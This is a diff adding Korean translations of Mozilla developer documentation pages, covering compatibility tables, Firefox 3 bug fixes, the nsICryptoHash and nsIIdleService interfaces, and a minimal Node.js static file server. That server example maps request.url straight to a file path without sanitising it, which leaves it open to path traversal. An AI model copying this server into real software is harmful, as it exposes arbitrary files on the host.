+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">IE Phone</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Opera Mobile</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Safari Mobile</th>
+   </tr>
+   <tr>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Basic support</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">4.0</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">15.0</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatUnknown() }}</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatUnknown() }}</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p> </p>
diff --git a/files/ko/new_compatibility_tables_beta/index.html b/files/ko/new_compatibility_tables_beta/index.html
new file mode 100644
index 0000000000..80c52f2506
--- /dev/null
+++ b/files/ko/new_compatibility_tables_beta/index.html
@@ -0,0 +1,24 @@
+---
+title: 새로운 호환성 정보 베타버전
+slug: New_Compatibility_Tables_Beta
+translation_of: Archive/MDN/New_Compatibility_Tables_Beta
+---
+<p>당신은 아마도 우리의 새로운 호환성 테이블 중에 있는 베타 알림 링크를 누르고 이 페이지로 왔을 것입니다. (새 테이블을 보고 싶으신가요? <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Be_a_beta_tester">베타 테스터가 되어보십시오.</a> )</p>
+
+<p>우리가 이것을 테스트하는데 도와주셔서 감사드립니다. 이것들은 더 큰 프로젝트의 일부분입니다. 우리는 <a href="https://github.com/mdn/browser-compat-data">브라우저 호환 정보를 규격화된 JSON에 옮기고 있습니다.</a></p>
+
+<p>데이터가 새 포맷으로 변환되면, 새 테이블이 웹 문서에 나타날 것입니다.</p>
+
+<h2 id="편집">편집</h2>
+
+<p>호환성 정보들은 브라우저 호환 정보가 있는 <a href="https://github.com/mdn/browser-compat-data">GitHub 저장소</a> 내 JSON 파일로 옮기고 있습니다.</p>
+
+<p>호환성 정보들에 기여하시려면, 저장소 내 Issues에 보고하거나, pull request를 보내십시오.</p>
+
+<h2 id="기여하기">기여하기</h2>
+
+<p>올려져 있는 자료에 문제가 있다면, <a href="https://github.com/mdn/browser-compat-data">GitHub 저장소 내 Issues에</a> 알려 주십시오.</p>
+
+<p>테이블이 이상하게 보이거나, 기능상의 오류가 있으시다면,  "오류 보고하기" 버튼을 눌러 오류를 알려 주십시오.</p>
+
+<p>시간이 있으시다면, <a class="external external-icon" href="http://www.surveygizmo.com/s3/2342437/0b5ff6b6b8f6">설문조사에 참여</a>해 주시면 감사하겠습니다. 저희는 의견을 환영합니다.</p>
diff --git a/files/ko/node_server_without_framework/index.html b/files/ko/node_server_without_framework/index.html
new file mode 100644
index 0000000000..1050f6aafd
--- /dev/null
+++ b/files/ko/node_server_without_framework/index.html
@@ -0,0 +1,74 @@
+---
+title: Node server without framework
+slug: Node_server_without_framework
+translation_of: Learn/Server-side/Node_server_without_framework
+---
+<h2 id="소개">소개</h2>
+
+<p>물론 <a href="https://nodejs.org/en/">Node</a> 는 서버를 만들고 실행하는데 도움을 주는 많은 프레임워크가 있습니다, 예를 들면:</p>
+
+<ul>
+ <li><a href="http://expressjs.com/">Express</a>: 가장 많이 사용하는 프레임워크</li>
+ <li><a href="https://www.totaljs.com/">Total</a>: 올인원 통합 프레임워크로, 다른 프레임워크나 모듈에 의존성이 없습니다.</li>
+</ul>
+
+<p>하지만, 모든 것에 꼭 맞는 사이즈가 없듯이, 개발자들은 어떤 다른 의존성 없이 스스로 서버를 만들어야 할 때가 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 짧고 간단한 정적 파일 nodejs 서버입니다.</p>
+
+<pre>var http = require('http');
+var fs = require('fs');
+var path = require('path');
+
+http.createServer(function (request, response) {
+    console.log('request ', request.url);
+
+    var filePath = '.' + request.url;
+    if (filePath == './')
+        filePath = './index.html';
+
+    var extname = String(path.extname(filePath)).toLowerCase();
+    var contentType = 'text/html';
+    var mimeTypes = {
+        '.html': 'text/html',
+        '.js': 'text/javascript',
+        '.css': 'text/css',
+        '.json': 'application/json',
+        '.png': 'image/png',
+        '.jpg': 'image/jpg',
+        '.gif': 'image/gif',
+        '.wav': 'audio/wav',
+        '.mp4': 'video/mp4',
+        '.woff': 'application/font-woff',
+        '.ttf': 'application/font-ttf',
+        '.eot': 'application/vnd.ms-fontobject',
+        '.otf': 'application/font-otf',
+        '.svg': 'application/image/svg+xml'
+    };
+
+    contentType = mimeTypes[extname] || 'application/octet-stream';
+
+    fs.readFile(filePath, function(error, content) {
+        if (error) {
+            if(error.code == 'ENOENT'){
+                fs.readFile('./404.html', function(error, content) {
+                    response.writeHead(200, { 'Content-Type': contentType });
+                    response.end(content, 'utf-8');
+                });
+            }
+            else {
+                response.writeHead(500);
+                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
+                response.end();
+            }
+        }
+        else {
+            response.writeHead(200, { 'Content-Type': contentType });
+            response.end(content, 'utf-8');
+        }
+    });
+
+}).listen(8125);
+console.log('Server running at http://127.0.0.1:8125/');</pre>
diff --git a/files/ko/notable_bugs_fixed_in_firefox_3/index.html b/files/ko/notable_bugs_fixed_in_firefox_3/index.html
new file mode 100644
index 0000000000..fa8b5ea99a
--- /dev/null
+++ b/files/ko/notable_bugs_fixed_in_firefox_3/index.html
@@ -0,0 +1,32 @@
+---
+title: Notable bugs fixed in Firefox 3
+slug: Notable_bugs_fixed_in_Firefox_3
+translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed
+---
+<p>이 글은 문서에서는 명확하지 않을 수도 있는 Firefox 3의 중요한 버그 수정 목록을 제공합니다.</p>
+<ul>
+ <li>overlay를 파싱하는 도중에 오류가 발생하면 해당 overlay는 적용되지 않습니다. 오류는 오류 콘솔에 기록됩니다. ({{ Bug(355755) }})</li>
+ <li><code>&lt;menupopup&gt;</code> 요소는 메뉴나 메뉴와 같은 요소에 붙일 때 바인딩 안에 들어갈 수 있습니다. ({{ Bug(345896) }})</li>
+ <li>버튼의 <code>dlgType</code> 속성이 이제 제대로 작동합니다. ({{ Bug(308591) }})</li>
+ <li>{{ Domxref("event.initEvent") }}로 전달되는 <code>canBubble</code> 인수가 올바르게 작동하므로 전달되지 않는 이벤트를 발생시킬 수 있습니다. ({{ Bug(330190) }})</li>
+ <li><code>DOMAttrModified</code> 이벤트는 이제 이름 공간이 있는 속성을 올바로 처리합니다. ({{ Bug(247095) }})</li>
+ <li><code>&lt;?xml-stylesheet ?&gt;</code>과 같은 XML 처리 명령이 이제 XUL 문서의 DOM에 추가됩니다. 이는 {{ Domxref("document.firstChild") }}가 최상위 요소가 되는 것을 보장하지 못한다는 의미이므로 대신 {{ Domxref("document.documentElement") }}를 사용하십시오. 또한, <code>&lt;?xml-stylesheet ?&gt;</code>와 <code>&lt;?xul-overlay ?&gt;</code> 처리 명령은 이제 문서 프롤로그 외부에 영향을 미치지 않습니다. ({{ Bug(319654) }})</li>
+ <li><code>getElementsByAttributeNS()</code> 함수가 XUL 요소와 문서에 추가되었습니다. ({{ Bug(239976) }})</li>
+ <li>XUL 문서에서 요소를 이동하거나 삭제할 때 이벤트 리스너가 보존됩니다. ({{ Bug(286619) }})</li>
+ <li>표시되지 않는 문서에 대해서 변이(mutation) 이벤트가 발생합니다. ({{ Bug(201238) }})</li>
+ <li>잘못된 순서의 요소 그리기와 관련한 다양한 문제점이 수정되었습니다. ({{ Bug(317375) }})</li>
+ <li><code><a href="ko/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>은 태그 이름에 이름 공간 접두어가 있는 요소를 가진 하위 트리에서 올바르게 동작하도록 수정되었습니다. ({{ Bug(206053) }}).</li>
+ <li><code>DOMNodeInserted</code>와 <code>DOMNodeRemoved</code> 이벤트는 이제 정확한 노드에 올바르게 적용됩니다. ({{ Bug(367164) }}).</li>
+ <li>정규 표현식의 특수 문자 중의 하나인 <code>\d</code>가 (<code>{{ mediawiki.external('0-9') }}</code>에 해당하는) 기본 라틴 알파벳 숫자에만 일치하도록 수정되었습니다. ({{ Bug(378738) }})</li>
+ <li>이미지 스니핑 서비스 분류는 확장으로 구현된 이미지 디코더가 잘못된 mime 형식과 함께 전송된 이미지를 올바르게 디코드하도록 합니다. ({{ Bug(391667) }})</li>
+</ul>
+<h3 id="See_also" name="See_also">See also</h3>
+<ul>
+ <li><a href="ko/Firefox_3_for_developers">Firefox 3 for developers</a></li>
+</ul>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Notable_bugs_fixed_in_Firefox_3", "es": "es/Bugs_importantes_solucionados_en_Firefox_3", "fr": "fr/Bugs_importants_corrig\u00e9s_dans_Firefox_3", "ja": "ja/Notable_bugs_fixed_in_Firefox_3", "pl": "pl/Istotne_b\u0142\u0119dy_poprawione_w_Firefoksie_3" } ) }}</p>
diff --git a/files/ko/nsicryptohash/index.html b/files/ko/nsicryptohash/index.html
new file mode 100644
index 0000000000..a7d656279f
--- /dev/null
+++ b/files/ko/nsicryptohash/index.html
@@ -0,0 +1,271 @@
+---
+title: nsICryptoHash
+slug: nsICryptoHash
+tags:
+  - Add-ons
+  - Extensions
+  - Interfaces
+  - 'Interfaces:Scriptable'
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsICryptoHash
+---
+<p> </p>
+
+<h3 id=".EC.86.8C.EA.B0.9C" name=".EC.86.8C.EA.B0.9C">소개</h3>
+
+<p><code>nsICryptoHash</code>는 자료의 암호 해쉬 함수를 계산하기 위해 사용합니다. 예를 들어 파일이 담고 있는 데이터가 기대한 것인지 확인하기 위해 MD5 해쉬를 계산할 수 있습니다. 제공되는 해쉬 알고리즘은 MD2, MD5, SHA-1, SHA-256, SHA-384, SHA-512입니다. 이 인터페이스는 <a href="ko/Firefox_1.5">파이어폭스 1.5</a> 버전 이상에서만 사용할 수 있습니다.</p>
+
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsICryptoHash.idl" rel="custom">netwerk/base/public/nsICryptoHash.idl</a></code><span style="text-align: right; float: right;"><a href="/ko/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">스크립트에서 사용 가능</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0)</span></div>
+</div><p></p>
+
+<h3 id=".EC.83.81.EC.88.98" name=".EC.83.81.EC.88.98">상수</h3>
+
+<h4 id=".ED.95.B4.EC.89.AC_.EC.95.8C.EA.B3.A0.EB.A6.AC.EC.A6.98" name=".ED.95.B4.EC.89.AC_.EC.95.8C.EA.B3.A0.EB.A6.AC.EC.A6.98">해쉬 알고리즘</h4>
+
+<p>이 상수들은 인터페이스가 제공하는 해쉬 알고리즘을 나타냅니다. 사용가능한 것은 다음과 같습니다. :</p>
+
+<ul>
+ <li><code>MD2</code></li>
+ <li><code>MD5</code></li>
+ <li><code>SHA1</code></li>
+ <li><code>SHA512</code></li>
+ <li><code>SHA256</code></li>
+ <li><code>SHA384</code></li>
+</ul>
+
+<h3 id=".EB.A9.94.EC.84.9C.EB.93.9C" name=".EB.A9.94.EC.84.9C.EB.93.9C">메서드</h3>
+
+<h4 id="init" name="init">init</h4>
+
+<pre>void init(in unsigned long aAlgorithm);
+</pre>
+
+<p><code>init()</code>는 인터페이스에 정의된 상수를 이용하여 해쉬 알고리즘을 결정하여 객체를 초기화합니다. 객체의 자료를 갱신하기 전에 반드시 이 메서드나 <code><a href="#initWithString">initWithString()</a></code>를 호출해야 합니다.</p>
+
+<h5 id=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0" name=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0">패러미터</h5>
+
+<p><code>aAlgorithm</code></p>
+
+<dl>
+ <dd>해쉬 알고리즘을 선택합니다. 인터페이스에 정의된 상수 중 하나를 선택해야 합니다.</dd>
+</dl>
+
+<h5 id=".EC.98.88.EC.99.B8" name=".EC.98.88.EC.99.B8">예외</h5>
+
+<p><code><span class="nowiki">NS_ERROR_INVALID_ARG</span></code></p>
+
+<dl>
+ <dd>지원하지 않는 해쉬 알고리즘이 선택되었다는 것을 알립니다.</dd>
+</dl>
+
+<h4 id="initWithString" name="initWithString">initWithString</h4>
+
+<pre>void initWithString(in ACString aAlgorithm);
+</pre>
+
+<p><code>initWithString()</code>는 <code>"MD5"</code>와 같이 문자열로 된 알고리즘의 이름으로 해쉬 알고리즘을 선택하여 객체를 초기화한다. 객체의 자료를 갱신하기 전에 반드시 이 메서드나 <code><a href="#init">init()</a></code>를 호출해야 합니다.</p>
+
+<h5 id=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_2" name=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_2">패러미터</h5>
+
+<p><code>aAlgorithm</code></p>
+
+<dl>
+ <dd>사용할 해쉬 알고리즘이 선택합니다.</dd>
+</dl>
+
+<h5 id=".EC.98.88.EC.99.B8_2" name=".EC.98.88.EC.99.B8_2">예외</h5>
+
+<p><code>NS_ERROR_INVALID_ARG</code></p>
+
+<dl>
+ <dd>지원하지 않는 해쉬 알고리즘이 선택되었다는 것을 알립니다.</dd>
+</dl>
+
+<h4 id="update" name="update">update</h4>
+
+<pre>void update([const, array, size_is(aLen)] in octet aData, in unsigned long aLen);
+</pre>
+
+<p><code>update()</code>는 해쉬된 자료 배열을 객체에 추가합니다. 이 메서드 사용 예제는 <a href="#.EB.AC.B8.EC.9E.90.EC.97.B4_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0">문자열 해쉬 연산하기</a>를 보세요.</p>
+
+<h5 id=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_3" name=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_3">패러미터</h5>
+
+<p><code>aData</code></p>
+
+<dl>
+ <dd>해쉬를 계산하기 위해 넘기는 버퍼</dd>
+</dl>
+
+<p><code>aLen</code></p>
+
+<dl>
+ <dd>버퍼 <code>aData</code>의 길이</dd>
+</dl>
+
+<h5 id=".EC.98.88.EC.99.B8_3" name=".EC.98.88.EC.99.B8_3">예외</h5>
+
+<p><code>NS_ERROR_NOT_INITIALIZED</code></p>
+
+<dl>
+ <dd><code><a href="#init">init()</a></code>나 <code><a href="#initWithString">initWithString()</a></code>가 호출되지 않았다는 것을 알립니다.</dd>
+</dl>
+
+<h4 id="updateFromStream" name="updateFromStream">updateFromStream</h4>
+
+<pre>void updateFromStream(in nsIInputStream aStream, in unsigned long aLen);
+</pre>
+
+<p><code>updateFromStream()</code>는 <code><a href="ko/NsIInputStream">nsIInputStream</a></code>로 해쉬될 데이터를 추가합니다. 이 메서드의 사용 예제는 <a href="#.ED.8C.8C.EC.9D.BC_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0">파일 해쉬 연산하기</a>를 보세요.</p>
+
+<h5 id=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_4" name=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_4">패러미터</h5>
+
+<p><code>aStream</code></p>
+
+<dl>
+ <dd>읽어올 입력 스트림</dd>
+</dl>
+
+<p><code>aLen</code></p>
+
+<dl>
+ <dd><code>aStream</code>으로 부터 읽을 양을 결정합니다. 해쉬 갱신할 수 있는 최대 양으로 지정하려면 <code>PR_UINT32_MAX</code>를 전달하면 됩니다.</dd>
+</dl>
+
+<h5 id=".EC.98.88.EC.99.B8_4" name=".EC.98.88.EC.99.B8_4">예외</h5>
+
+<p><code>NS_ERROR_NOT_INITIALIZED</code></p>
+
+<dl>
+ <dd><code><a href="#init">init()</a></code>나 <code><a href="#initWithString">initWithString()</a></code>가 호출되지 않았다는 것을 알립니다.</dd>
+</dl>
+
+<p><code>NS_ERROR_NOT_AVAILABLE</code></p>
+
+<dl>
+ <dd>해쉬 연산 자료량이 허용되지 않습니다.</dd>
+</dl>
+
+<h4 id="finish" name="finish">finish</h4>
+
+<pre>ACString finish(in PRBool aASCII);
+</pre>
+
+<p><code>finish()</code> 메서드는 해쉬 객체를 완성시켜 실제 해쉬 자료를 생성합니다.</p>
+
+<h5 id=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_5" name=".ED.8C.A8.EB.9F.AC.EB.AF.B8.ED.84.B0_5">패러미터</h5>
+
+<p><code>aASCII</code></p>
+
+<dl>
+ <dd>참이면 반환 값은 base 64 인코딩된 문자열입니다. 거짓이면 이진(binary) 자료로 반환합니다.</dd>
+</dl>
+
+<h5 id=".EB.B0.98.ED.99.98_.EA.B0.92" name=".EB.B0.98.ED.99.98_.EA.B0.92">반환 값</h5>
+
+<p>이 메서드는 객체가 읽은 자료의 해쉬를 반환합니다. 이 반환 값은 이진 자료일 수 있고 base 64 인코딩된 문자열일 수 있습니다.</p>
+
+<h5 id=".EC.98.88.EC.99.B8_5" name=".EC.98.88.EC.99.B8_5">예외</h5>
+
+<p><code>NS_ERROR_NOT_INITIALIZED</code></p>
+
+<dl>
+ <dd><code><a href="#init">init()</a></code>나 <code><a href="#initWithString">initWithString()</a></code>가 호출되지 않았다는 것을 알립니다.</dd>
+</dl>
+
+<div class="note"><strong>주의:</strong> 이 메서드는 <code><a href="#init">init()</a></code>가 호출된 후로 수회 실행이 가능합니다. 이 호출은 객체를 초기상태로 만듭니다.</div>
+
+<h3 id=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C" name=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C">예제 코드</h3>
+
+<div class="note"><strong>주의:</strong> 아래의 예제는 파이어폭스 2에 구현된 <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>의 특성을 사용합니다. 파이어폭스 1.5에서 예제를 사용할려면 배열 통합(array comprehension) 대신에 반복을 사용하세요.</div>
+
+<h4 id=".ED.8C.8C.EC.9D.BC_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0" name=".ED.8C.8C.EC.9D.BC_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0">파일 해쉬 연산하기</h4>
+
+<p><code>nsICryptoHash</code>를 사용하여 파일 해쉬 연산을 쉽게할 수 있습니다. <code>nsICryptoHash</code> 인스턴스를 생성하고 파일을 입력 스트림으로 열고 파일의 자료로 해쉬를 갱신하길 원할 겁니다. 아래의 예제가 파일 MD5 해쉬 연산을 어떻게 하는지 보여줍니다.</p>
+
+<pre>// hardcoded here for convenience
+var path = "c:\\windows\\notepad.exe";
+var f = Components.classes["@mozilla.org/file/local;1"]
+                  .createInstance(Components.interfaces.nsILocalFile);
+f.initWithPath(path);
+var istream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                        .createInstance(Components.interfaces.nsIFileInputStream);
+// open for reading
+istream.init(f, 0x01, 0444, 0);
+var ch = Components.classes["@mozilla.org/security/hash;1"]
+                   .createInstance(Components.interfaces.nsICryptoHash);
+// we want to use the MD5 algorithm
+ch.init(ch.MD5);
+// this tells updateFromStream to read the entire file
+const PR_UINT32_MAX = 0xffffffff;
+ch.updateFromStream(istream, PR_UINT32_MAX);
+// pass false here to get binary data back
+var hash = ch.finish(false);
+
+// return the two-digit hexadecimal code for a byte
+function toHexString(charCode)
+{
+  return ("0" + charCode.toString(16)).slice(-2);
+}
+
+// convert the binary hash data to a hex string.
+var s = Array.from(hash, (c, i) =&gt; toHexString(hash.charCodeAt(i))).join("");
+// s now contains your hash in hex
+</pre>
+
+<p>내 윈도우즈 XP SP2 시스템에서 해쉬 값으로 <code>5eb63bbbe01eeed093cb22bb8f5acdc3</code>를 주었지만 여러분의 경우는 수가 다를 수 있습니다. 이 간단한 예제는 인터페이스의 기능을 대부분 보여줍니다.</p>
+
+<p>첫번째로 주목할 부분은 <code><a href="#init">init()</a></code> 메서드를 호출할 때 해쉬 알고리즘을 결정하는 것입니다. 가능한 모든 올고리즘은 인터페이스의 <a href="#.EC.83.81.EC.88.98">상수</a>에 규정되어 있습니다.</p>
+
+<p>또 주목할 곳은 <code><a href="#updateFromStream">updateFromStream()</a></code> 메서드를 호출할 때 두번째 패러미터가 읽어들일 바이트 수라는 것입니다. 여기에 <code>PR_UINT32_MAX</code>를 보내면 전체 파일을 읽길 원한다고 지시하는 겁니다.</p>
+
+<p>마지막으로 <code><a href="#finish">finish()</a></code> 메서드 호출이 해쉬 값을 생성하는 것입니다. 예제처럼 첫번째 패러미터가 <code>false</code>이면 이진 값을 반환합니다. <code>true</code>를 보내면 해쉬 값은 base 64 인코딩된 문자열로 옵니다. 이 예제에서 해쉬 프로그램에 의해 이진 자료를 입력하고 그 결과로 기본 출력인 16진 문자열을 얻습니다.</p>
+
+<h4 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.ED.95.B4.EC.89.AC_.EC.97.B0.EC.82.B0.ED.95.98.EA.B8.B0">문자열 해쉬 연산하기</h4>
+
+<p>또다른 기본 연산은 문자열 해쉬 값을 연산하는 것입니다. 해쉬 함수가 여러 바이트를 연산하기 때문에 먼저 문자열을 <code><a href="ko/NsIScriptableUnicodeConverter">nsIScriptableUnicodeConverter</a></code>를 사용하여 바이트의 순열로 바꾸고 원하는 유니코드 인코딩으로 바꿔야 합니다.</p>
+
+<div class="note"><strong>주의:</strong> 다른 인코딩은 다른 해쉬 값을 만듭니다! 결과 값을 비교할려면 항상 같은 인코딩을 사용해야 합니다.</div>
+
+<p>아래의 예제는 문자열을 UTF-8 인코딩의 바이트로 바꾸고 MD5 해쉬 값을 계산하는 방법을 보여줍니다. 결과 값은 이전 예제 처럼 16진 문자열입니다.</p>
+
+<pre>var str = "hello world";
+var converter =
+  Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
+    createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
+
+// we use UTF-8 here, you can choose other encodings.
+converter.charset = "UTF-8";
+// result is an out parameter,
+// result.value will contain the array length
+var result = {};
+// data is an array of bytes
+var data = converter.convertToByteArray(str, result);
+var ch = Components.classes["@mozilla.org/security/hash;1"]
+                   .createInstance(Components.interfaces.nsICryptoHash);
+ch.init(ch.MD5);
+ch.update(data, data.length);
+var hash = ch.finish(false);
+
+// return the two-digit hexadecimal code for a byte
+function toHexString(charCode)
+{
+  return ("0" + charCode.toString(16)).slice(-2);
+}
+
+// convert the binary hash data to a hex string.
+var s = Array.from(hash, (c, i) =&gt; toHexString(hash.charCodeAt(i))).join("");
+// s now contains your hash in hex: should be
+// 5eb63bbbe01eeed093cb22bb8f5acdc3
+</pre>
+
+<p>이 예제에서 해쉬 배열을 보내기 위해 <code><a href="#update">update()</a></code> 메서드를 씁니다. 이전 예제처럼 이진 결과를 16진 문자열로 변경했습니다.</p>
+
+<p></p>
diff --git a/files/ko/nsiidleservice/index.html b/files/ko/nsiidleservice/index.html
new file mode 100644
index 0000000000..d8989f6375
--- /dev/null
+++ b/files/ko/nsiidleservice/index.html
@@ -0,0 +1,134 @@
+---
+title: nsIIdleService
+slug: nsIIdleService
+tags:
+  - Interfaces
+  - MDC Project
+  - NeedsContent
+  - XPCOM API Reference
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIIdleService
+---
+<p>« <a href="/ko/docs/XPCOM_API_Reference">XPCOM API Reference</a> </p>
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/public/nsIIdleService.idl" rel="custom">widget/public/nsIIdleService.idl</a></code><span style="text-align: right; float: right;"><a href="/ko/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">스크립트에서 사용 가능</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9a </span></div>
+</div><p></p>
+<h2 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h2>
+<p>유휴 서비스를 이용하면 사용자가 얼마나 오래 '유휴 상태' 즉, 마우스나 키보드를 사용하지 않았는지 감시할 수 있습니다. 유휴 시간을 직접 얻을 수도 있지만 대부분의 경우 미리 지정한 간격에 대한 관찰자를 등록하게 됩니다.</p>
+<p>현재 <code>nsIIdleService</code> 구현은 Windows, Mac OS X, Linux (XScreenSaver 이용)에 존재합니다.</p>
+<p>구현 클래스: <code>@mozilla.org/widget/idleservice;1</code>. 인스턴스를 생성하려면 다음과 코드를 사용합니다.</p>
+<pre class="eval">var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+</pre>
+<h2 id=".EB.A9.94.EC.86.8C.EB.93.9C_.EA.B0.9C.EC.9A.94" name=".EB.A9.94.EC.86.8C.EB.93.9C_.EA.B0.9C.EC.9A.94">메소드 개요</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addIdleObserver.28.29">addIdleObserver</a>(in <a href="ko/NsIObserver">nsIObserver</a> observer, in unsigned long time)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeIdleObserver.28.29">removeIdleObserver</a>(in <a href="ko/NsIObserver">nsIObserver</a> observer, in unsigned long time)</code></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id=".EC.86.8D.EC.84.B1" name=".EC.86.8D.EC.84.B1">속성</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">속성</td>
+   <td class="header">형식</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>idleTime</code></td>
+   <td><code>long</code></td>
+   <td>1000분의 1초 단위의 마지막 사용자 동작 이후 지난 시간.
+    <i>
+     읽기 전용.</i>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id=".EB.A9.94.EC.86.8C.EB.93.9C" name=".EB.A9.94.EC.86.8C.EB.93.9C">메소드</h2>
+<h3 id="addIdleObserver.28.29" name="addIdleObserver.28.29">addIdleObserver()</h3>
